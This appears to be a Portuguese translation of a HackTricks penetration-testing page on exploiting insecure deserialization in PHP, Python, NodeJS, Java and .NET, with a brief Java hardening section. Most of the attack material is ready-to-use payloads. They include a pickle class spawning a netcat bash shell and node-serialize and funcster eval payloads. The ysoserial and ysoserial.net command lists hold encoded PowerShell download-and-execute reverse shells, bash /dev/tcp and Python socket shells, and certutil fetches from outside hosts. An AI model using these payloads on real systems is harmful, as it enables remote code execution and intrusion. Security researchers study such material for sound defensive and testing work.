50 KiB
Deserialização
Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
- Se você quer ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF Confira os PLANOS DE ASSINATURA!
- Adquira o material oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção de NFTs exclusivos
- Junte-se ao grupo 💬 Discord ou ao grupo telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do HackTricks e HackTricks Cloud.
Deserialização é o inverso desse processo, pegando dados estruturados de algum formato e reconstruindo-os em um objeto. Hoje, o formato de dados mais popular para serialização é o JSON. Antes disso, era o XML.
Em muitas ocasiões, você pode encontrar algum código no lado do servidor que desserializa algum objeto fornecido pelo usuário.
Neste caso, você pode enviar uma carga maliciosa para fazer o lado do servidor se comportar de maneira inesperada.
Você deve ler: https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html para aprender como atacar.
PHP
Método mágico usado com serialização:
__sleep
é chamado quando um objeto é serializado e deve retornar um array
Método mágico usado com deserialização
__wakeup
é chamado quando um objeto é desserializado.__unserialize
é chamado em vez de__wakeup
se existir.__destruct
é chamado quando o script PHP termina e o objeto é destruído.__toString
usa o objeto como string, mas também pode ser usado para ler arquivos ou mais do que isso com base na chamada de função dentro dele.
<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}
$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();
/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />
php > $ser=serialize($o);
__sleep method called
php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}
php > $unser=unserialize($ser);
__wakeup method called
__destruct method called
php > $unser->displaystring();
This is a test<br />
*/
?>
Se você observar os resultados, pode ver que as funções __wakeup
e __destruct
são chamadas quando o objeto é deserializado. Note que em vários tutoriais você encontrará que a função __toString
é chamada ao tentar imprimir algum atributo, mas aparentemente isso não acontece mais.
{% hint style="warning" %}
O método __unserialize(array $data)
é chamado em vez de __wakeup()
se ele for implementado na classe. Ele permite que você deserializar o objeto fornecendo os dados serializados como um array. Você pode usar este método para deserializar propriedades e realizar quaisquer tarefas necessárias após a deserialização.
phpCopy codeclass MyClass {
private $property;
public function __unserialize(array $data): void {
$this->property = $data['property'];
// Perform any necessary tasks upon deserialization.
}
}
{% endhint %}
Você pode ler um exemplo PHP explicado aqui: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, aqui https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf ou aqui https://securitycafe.ro/2015/01/05/understanding-php-object-injection/
PHP Deserial + Classes Autoload
Você pode abusar da funcionalidade de autoload do PHP para carregar arquivos php arbitrários e mais:
{% content-ref url="php-deserialization-+-autoload-classes.md" %} php-deserialization-+-autoload-classes.md {% endcontent-ref %}
Serializando Valores Referenciados
Se por algum motivo você quiser serializar um valor como uma referência a outro valor serializado, você pode:
<?php
class AClass {
public $param1;
public $param2;
}
$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);
PHPGGC (ysoserial para PHP)
PHPGGC pode ajudar você a gerar payloads para abusar de deserializações PHP.
Note que em vários casos você não conseguirá encontrar uma maneira de abusar de uma deserialização no código-fonte da aplicação, mas você pode ser capaz de abusar do código de extensões PHP externas.
Então, se puder, verifique o phpinfo()
do servidor e pesquise na internet (e até nos gadgets do PHPGGC) algum possível gadget que você poderia abusar.
phar:// deserialização de metadados
Se você encontrou um LFI que está apenas lendo o arquivo e não executando o código PHP dentro dele, por exemplo, usando funções como file_get_contents(), fopen(), file() ou file_exists(), md5_file(), filemtime() ou filesize(). Você pode tentar abusar de uma deserialização que ocorre ao ler um arquivo usando o protocolo phar.
Para mais informações, leia o seguinte post:
{% content-ref url="../file-inclusion/phar-deserialization.md" %} phar-deserialization.md {% endcontent-ref %}
Python
Pickle
Quando o objeto é desempacotado, a função __reduce__ será executada.
Quando explorado, o servidor pode retornar um erro.
import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))
Para mais informações sobre como escapar de pickle jails, confira:
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} bypass-python-sandboxes {% endcontent-ref %}
Yaml & jsonpickle
A página a seguir apresenta a técnica para abusar de uma desserialização insegura em bibliotecas yaml do python e termina com uma ferramenta que pode ser usada para gerar um payload de desserialização RCE para Pickle, PyYAML, jsonpickle e ruamel.yaml:
{% content-ref url="python-yaml-deserialization.md" %} python-yaml-deserialization.md {% endcontent-ref %}
Class Pollution (Poluição de Classe em Python)
{% content-ref url="../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md" %} class-pollution-pythons-prototype-pollution.md {% endcontent-ref %}
NodeJS
Funções Mágicas JS
JS não possui funções "mágicas" como PHP ou Python que são executadas apenas por criar um objeto. Mas possui algumas funções que são frequentemente usadas mesmo sem chamá-las diretamente, como toString
, valueOf
, toJSON
.
Se abusar de uma desserialização, você pode comprometer essas funções para executar outro código (potencialmente abusando de poluições de protótipo), você poderia executar código arbitrário quando elas são chamadas.
Outra forma "mágica" de chamar uma função sem chamá-la diretamente é comprometendo um objeto que é retornado por uma função assíncrona (promise). Porque, se você transformar esse objeto de retorno em outra promise com uma propriedade chamada "then" do tipo função, ela será executada apenas por ser retornada por outra promise. Siga este link para mais informações.
// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise(resolve => {
console.log('hello')
resolve()
})
return p
}
async function test_then() {
const p = new Promise(then => {
console.log('hello')
return 1
})
return p
}
test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/
Poluição de __proto__
e prototype
Se você quer aprender sobre essa técnica veja o seguinte tutorial:
{% content-ref url="nodejs-proto-prototype-pollution/" %} nodejs-proto-prototype-pollution {% endcontent-ref %}
node-serialize
Esta biblioteca permite serializar funções. Exemplo:
var y = {
"rce": function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })},
}
var serialize = require('node-serialize');
var payload_serialized = serialize.serialize(y);
console.log("Serialized: \n" + payload_serialized);
O objeto serializado terá a seguinte aparência:
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
Você pode ver no exemplo que quando uma função é serializada, a flag _$$ND_FUNC$$_
é anexada ao objeto serializado.
Dentro do arquivo node-serialize/lib/serialize.js
você pode encontrar a mesma flag e como o código está usando-a.
Como você pode ver no último trecho de código, se a flag for encontrada, eval
é usado para desserializar a função, então basicamente a entrada do usuário está sendo usada dentro da função eval
.
No entanto, apenas serializar uma função não a executará, pois seria necessário que alguma parte do código estivesse chamando y.rce
no nosso exemplo e isso é altamente improvável.
De qualquer forma, você poderia apenas modificar o objeto serializado adicionando alguns parênteses para autoexecutar a função serializada quando o objeto for desserializado.
No próximo trecho de código observe o último parêntese e como a função unserialize
executará automaticamente o código:
var serialize = require('node-serialize');
var test = {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"};
serialize.unserialize(test);
Como indicado anteriormente, esta biblioteca irá obter o código após _$$ND_FUNC$$_
e irá executá-lo usando eval
. Portanto, para executar código automaticamente, você pode deletar a parte de criação da função e o último parêntese e apenas executar um JS oneliner como no exemplo a seguir:
var serialize = require('node-serialize');
var test = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) })"}';
serialize.unserialize(test);
Você pode encontrar aqui mais informações sobre como explorar essa vulnerabilidade.
funcster
A diferença interessante aqui é que os objetos padrão integrados não estão acessíveis, porque estão fora do escopo. Isso significa que podemos executar nosso código, mas não podemos chamar métodos dos objetos integrados. Então, se usarmos console.log()
ou require(algo)
, o Node retorna uma exceção como "ReferenceError: console is not defined"
.
No entanto, podemos facilmente recuperar o acesso a tudo porque ainda temos acesso ao contexto global usando algo como this.constructor.constructor("console.log(1111)")();
:
funcster = require("funcster");
//Serialization
var test = funcster.serialize(function() { return "Hello world!" })
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }
//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = { __js_function: 'this.constructor.constructor("console.log(1111)")()' }
funcster.deepDeserialize(desertest2)
var desertest3 = { __js_function: 'this.constructor.constructor("require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });")()' }
funcster.deepDeserialize(desertest3)
Para mais informações, leia esta página.
serialize-javascript
O pacote não inclui nenhuma funcionalidade de deserialização e exige que você a implemente por conta própria. O exemplo deles usa eval
diretamente. Este é o exemplo oficial de deserialização:
function deserialize(serializedJavascript){
return eval('(' + serializedJavascript + ')');
}
Se essa função for usada para desserializar objetos, você pode explorá-la facilmente:
var serialize = require('serialize-javascript');
//Serialization
var test = serialize(function() { return "Hello world!" });
console.log(test) //function() { return "Hello world!" }
//Deserialization
var test = "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)
Biblioteca Cryo
Nas páginas seguintes, você pode encontrar informações sobre como abusar desta biblioteca para executar comandos arbitrários:
- https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/
- https://hackerone.com/reports/350418
Java - HTTP
O principal problema com objetos deserializados em Java é que callbacks de deserialização eram invocados durante a deserialização. Isso possibilita que um atacante aproveite esses callbacks e prepare um payload que abusa dos callbacks para realizar ações maliciosas.
Impressões Digitais
Caixa Branca
Procure no código por classes e funções de serialização. Por exemplo, busque por classes que implementam Serializable
, o uso de java.io.ObjectInputStream
__ ou funções readObject
__ ou readUnshare
_.
Você também deve ficar atento a:
XMLdecoder
com parâmetros definidos pelo usuário externoXStream
com métodofromXML
(versão xstream <= v1.46 é vulnerável ao problema de serialização)ObjectInputStream
comreadObject
- Usos de
readObject
,readObjectNodData
,readResolve
oureadExternal
ObjectInputStream.readUnshared
Serializable
Caixa Preta
Impressões Digitais/Bytes Mágicos de objetos java serializados (de ObjectInputStream
):
AC ED 00 05
em HexrO0
em Base64- Cabeçalho
Content-type
de uma resposta HTTP definido comoapplication/x-java-serialized-object
1F 8B 08 00
Hex previamente comprimidoH4sIA
Base64 previamente comprimido- Arquivos web com extensão
.faces
e parâmetrofaces.ViewState
. Se você encontrar isso em um webapp, dê uma olhada no post sobre Deserialização Java JSF VewState.
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
Verificar se é vulnerável
Se você quer aprender como um exploit de Deserialização Java funciona você deve dar uma olhada em Deserialização Java Básica, Deserialização Java DNS, e CommonsCollection1 Payload.
Teste de Caixa Branca
Você pode verificar se há alguma aplicação instalada com vulnerabilidades conhecidas.
find . -iname "*commons*collection*"
grep -R InvokeTransformer .
Você pode tentar verificar todas as bibliotecas conhecidas por serem vulneráveis e que Ysoserial pode fornecer um exploit. Ou você pode verificar as bibliotecas indicadas no Java-Deserialization-Cheat-Sheet.
Você também pode usar gadgetinspector para procurar possíveis cadeias de gadgets que podem ser exploradas.
Ao executar gadgetinspector (após construí-lo), não se preocupe com as toneladas de avisos/erros pelos quais ele passa e deixe-o terminar. Ele escreverá todas as descobertas em gadgetinspector/gadget-results/gadget-chains-ano-mês-dia-hora-min.txt. Por favor, note que gadgetinspector não criará um exploit e pode indicar falsos positivos.
Teste de Caixa Preta
Usando a extensão Burp gadgetprobe, você pode identificar quais bibliotecas estão disponíveis (e até as versões). Com essa informação, pode ser mais fácil escolher um payload para explorar a vulnerabilidade.
Leia isto para saber mais sobre GadgetProbe.
GadgetProbe foca em deserializações de ** ObjectInputStream
**.**
Usando a extensão Burp Java Deserialization Scanner, você pode identificar bibliotecas vulneráveis exploráveis com ysoserial e explorá-las.
Leia isto para saber mais sobre Java Deserialization Scanner.
Java Deserialization Scanner foca em deserializações de ObjectInputStream
.
Você também pode usar Freddy para detectar vulnerabilidades de deserialização no Burp. Este plugin detectará vulnerabilidades relacionadas não só a **ObjectInputStream
**, mas também de bibliotecas de deserialização de Json e Yml. No modo ativo, ele tentará confirmá-las usando payloads de sleep ou DNS.
Você pode encontrar mais informações sobre Freddy aqui.
Teste de Serialização
Nem tudo é sobre verificar se alguma biblioteca vulnerável é usada pelo servidor. Às vezes, você pode ser capaz de alterar os dados dentro do objeto serializado e contornar algumas verificações (talvez conceder privilégios de administrador dentro de um webapp).
Se você encontrar um objeto Java serializado sendo enviado para uma aplicação web, você pode usar SerializationDumper para imprimir em um formato mais legível para humanos o objeto de serialização que está sendo enviado. Sabendo quais dados você está enviando, seria mais fácil modificá-los e contornar algumas verificações.
Exploração
ysoserial
A ferramenta mais conhecida para explorar deserializações Java é ysoserial (baixe aqui). Você também pode considerar usar ysoserial-modified, que permitirá que você use comandos complexos (com pipes, por exemplo).
Note que esta ferramenta é focada em explorar ObjectInputStream
.
Eu começaria usando o payload "URLDNS" antes de um payload RCE para testar se a injeção é possível. De qualquer forma, note que talvez o payload "URLDNS" não esteja funcionando, mas outro payload RCE esteja.
# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"
#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"
# Base64 encode payload in base64
base64 -w0 payload
Ao criar um payload para java.lang.Runtime.exec(), você não pode usar caracteres especiais como ">" ou "|" para redirecionar a saída de uma execução, "$()" para executar comandos ou mesmo passar argumentos para um comando separados por espaços (você pode fazer echo -n "hello world"
mas não pode fazer python2 -c 'print "Hello world"'
). Para codificar corretamente o payload, você poderia usar esta página da web.
Sinta-se à vontade para usar o próximo script para criar todos os possíveis payloads de execução de código para Windows e Linux e depois testá-los na página web vulnerável:
import os
import base64
# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')
generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
serialkillerbypassgadgets
Você pode usar https://github.com/pwntester/SerialKillerBypassGadgetCollection junto com ysoserial para criar mais exploits. Mais informações sobre esta ferramenta nos slides da palestra onde a ferramenta foi apresentada: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1
marshalsec
marshalsec pode ser usado para gerar payloads para explorar diferentes bibliotecas de serialização Json e Yml em Java.
Para compilar o projeto, precisei adicionar estas dependências ao pom.xml
:
<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>
<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>
Instale o maven e compile o projeto:
sudo apt-get install maven
mvn clean package -DskipTests
FastJSON
Leia mais sobre esta biblioteca Java JSON: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html
Laboratórios
- Se você quiser testar alguns payloads ysoserial, você pode executar esta webapp: https://github.com/hvqzao/java-deserialize-webapp
- https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/
Por que
Java ADORA enviar objetos serializados para todos os lados. Por exemplo:
- Em requisições HTTP – Parâmetros, ViewState, Cookies, você escolhe.
- RMI – O protocolo Java RMI amplamente utilizado é 100% baseado em serialização
- RMI sobre HTTP – Muitas aplicações web thick client Java usam isso – novamente 100% objetos serializados
- JMX – Novamente, depende de objetos serializados sendo enviados pela rede
- Protocolos Personalizados – Enviar e receber objetos Java brutos é a norma – o que veremos em alguns dos exploits a seguir
Prevenção
Objetos transientes
Uma classe que implementa Serializable
pode declarar como transient
qualquer objeto dentro da classe que não deveria ser serializável. Por exemplo:
public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient
Evite a Serialização de uma classe que precisa implementar Serializable
Alguns dos seus objetos de aplicação podem ser forçados a implementar Serializable
devido à sua hierarquia. Para garantir que seus objetos de aplicação não possam ser desserializados, um método readObject()
deve ser declarado (com um modificador final
) que sempre lance uma exceção:
private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}
Verifique a classe deserializada antes de deserializá-la
A classe java.io.ObjectInputStream
é usada para deserializar objetos. É possível endurecer seu comportamento por meio da subclassificação. Esta é a melhor solução se:
- Você pode alterar o código que faz a deserialização
- Você sabe quais classes espera deserializar
A ideia geral é sobrescrever ObjectInputStream.html#resolveClass()
para restringir quais classes são permitidas ser deserializadas.
Como essa chamada acontece antes de um readObject()
ser chamado, você pode ter certeza de que nenhuma atividade de deserialização ocorrerá, a menos que o tipo seja um que você deseja permitir.
Um exemplo simples disso é mostrado aqui, onde a classe LookAheadObjectInputStream
garante não deserializar nenhum outro tipo além da classe Bicycle
:
public class LookAheadObjectInputStream extends ObjectInputStream {
public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}
/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}
Endureça Todo o Uso de java.io.ObjectInputStream com um Agente
Se você não possui o código ou não pode esperar por um patch, usar um agente para tecer o endurecimento em java.io.ObjectInputStream
é a melhor solução.
Usando essa abordagem, você pode apenas colocar na lista negra os tipos maliciosos conhecidos e não colocá-los na lista branca, pois você não sabe quais objetos estão sendo serializados.
Para habilitar esses agentes, basta adicionar um novo parâmetro JVM:
-javaagent:name-of-agent.jar
Exemplo: rO0 by Contrast Security
Referências
- Palestra sobre deserialização e ysoserial: http://frohoff.github.io/appseccali-marshalling-pickles/
- https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
- https://www.youtube.com/watch?v=VviY3O-euVQ
- Palestra sobre gadgetinspector: https://www.youtube.com/watch?v=wPbW6zQ52w8 e slides: https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf
- Artigo sobre Marshalsec: https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true
- https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr
- https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html
- https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html
- Artigo e palestra sobre deserialização de JSON em Java e .Net: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf, https://www.youtube.com/watch?v=oUAeWhW5b8c e slides: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
- CVEs de Deserializações: https://paper.seebug.org/123/
JNDI Injection & log4Shell
Descubra o que é JNDI Injection, como abusar dele via RMI, CORBA & LDAP e como explorar log4shell (e um exemplo dessa vulnerabilidade) na seguinte página:
{% content-ref url="jndi-java-naming-and-directory-interface-and-log4shell.md" %} jndi-java-naming-and-directory-interface-and-log4shell.md {% endcontent-ref %}
JMS - Java Message Service
A API Java Message Service (JMS) é uma API de middleware orientada a mensagens Java para enviar mensagens entre dois ou mais clientes. É uma implementação para lidar com o problema produtor-consumidor. JMS faz parte da Java Platform, Enterprise Edition (Java EE) e foi definido por uma especificação desenvolvida na Sun Microsystems, mas que desde então tem sido orientada pelo Java Community Process. É um padrão de mensagens que permite que componentes de aplicativos baseados em Java EE criem, enviem, recebam e leiam mensagens. Permite a comunicação entre diferentes componentes de uma aplicação distribuída de forma desacoplada, confiável e assíncrona. (De Wikipedia).
Produtos
Existem vários produtos que usam esse middleware para enviar mensagens:
Exploração
Então, basicamente existem vários serviços usando JMS de maneira perigosa. Portanto, se você tiver privilégios suficientes para enviar mensagens a esses serviços (geralmente você precisará de credenciais válidas), você poderá enviar objetos maliciosos serializados que serão desserializados pelo consumidor/assinante.
Isso significa que nessa exploração todos os clientes que vão usar essa mensagem serão infectados.
Você deve lembrar que mesmo que um serviço seja vulnerável (porque está desserializando inseguramente a entrada do usuário), você ainda precisa encontrar gadgets válidos para explorar a vulnerabilidade.
A ferramenta JMET foi criada para conectar e atacar esses serviços enviando vários objetos maliciosos serializados usando gadgets conhecidos. Esses exploits funcionarão se o serviço ainda estiver vulnerável e se algum dos gadgets usados estiver dentro da aplicação vulnerável.
Referências
- Palestra sobre JMET: https://www.youtube.com/watch?v=0h8DWiOWGGA
- Slides: https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf
.Net
.Net é semelhante ao Java em relação a como os exploits de desserialização funcionam: O exploit irá abusar de gadgets que executam algum código interessante quando um objeto é desserializado.
Fingerprint
WhiteBox
Pesquise no código-fonte pelos seguintes termos:
TypeNameHandling
JavaScriptTypeResolver
Procure por qualquer serializador onde o tipo é definido por uma variável controlada pelo usuário.
BlackBox
Você pode procurar pela string codificada em Base64 AAEAAAD///// ou qualquer outra coisa que possa ser desserializada no back-end e que permita controlar o tipo desserializado**.** Por exemplo, um JSON ou XML contendo TypeObject
ou $type
.
ysoserial.net
Neste caso, você pode usar a ferramenta ysoserial.net para criar os exploits de desserialização. Uma vez baixado o repositório git, você deve compilar a ferramenta usando o Visual Studio, por exemplo.
Se você quiser aprender sobre como o ysoserial.net cria seus exploits, você pode verificar esta página onde é explicado o gadget ObjectDataProvider + ExpandedWrapper + Json.Net formatter.
As principais opções do ysoserial.net são: --gadget
, --formatter
, **--output
** e --plugin
.
--gadget
usado para indicar o gadget a ser abusado (indicar a classe/função que será abusada durante a desserialização para executar comandos).--formatter
, usado para indicar o método para serializar o exploit (você precisa saber qual biblioteca o back-end está usando para desserializar o payload e usar a mesma para serializá-lo)- **
--output
** usado para indicar se você quer o exploit em raw ou codificado em base64. Note que o ysoserial.net irá codificar o payload usando UTF-16LE (codificação usada por padrão no Windows), então se você pegar o raw e apenas codificá-lo de um console linux, você pode ter alguns problemas de compatibilidade de codificação que impedirão o exploit de funcionar corretamente (na caixa JSON do HTB o payload funcionou tanto em UTF-16LE quanto em ASCII, mas isso não significa que sempre funcionará). - **
--plugin
** ysoserial.net suporta plugins para criar exploits para frameworks específicos como ViewState
Mais parâmetros do ysoserial.net
--minify
fornecerá um payload menor (se possível)--raf -f Json.Net -c "anything"
Isso indicará todos os gadgets que podem ser usados com um formatador fornecido (Json.Net
neste caso)--sf xml
você pode indicar um gadget (-g
) e o ysoserial.net procurará por formatadores contendo "xml" (insensível a maiúsculas e minúsculas)
Exemplos de ysoserial para criar exploits:
#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server
#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64
#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
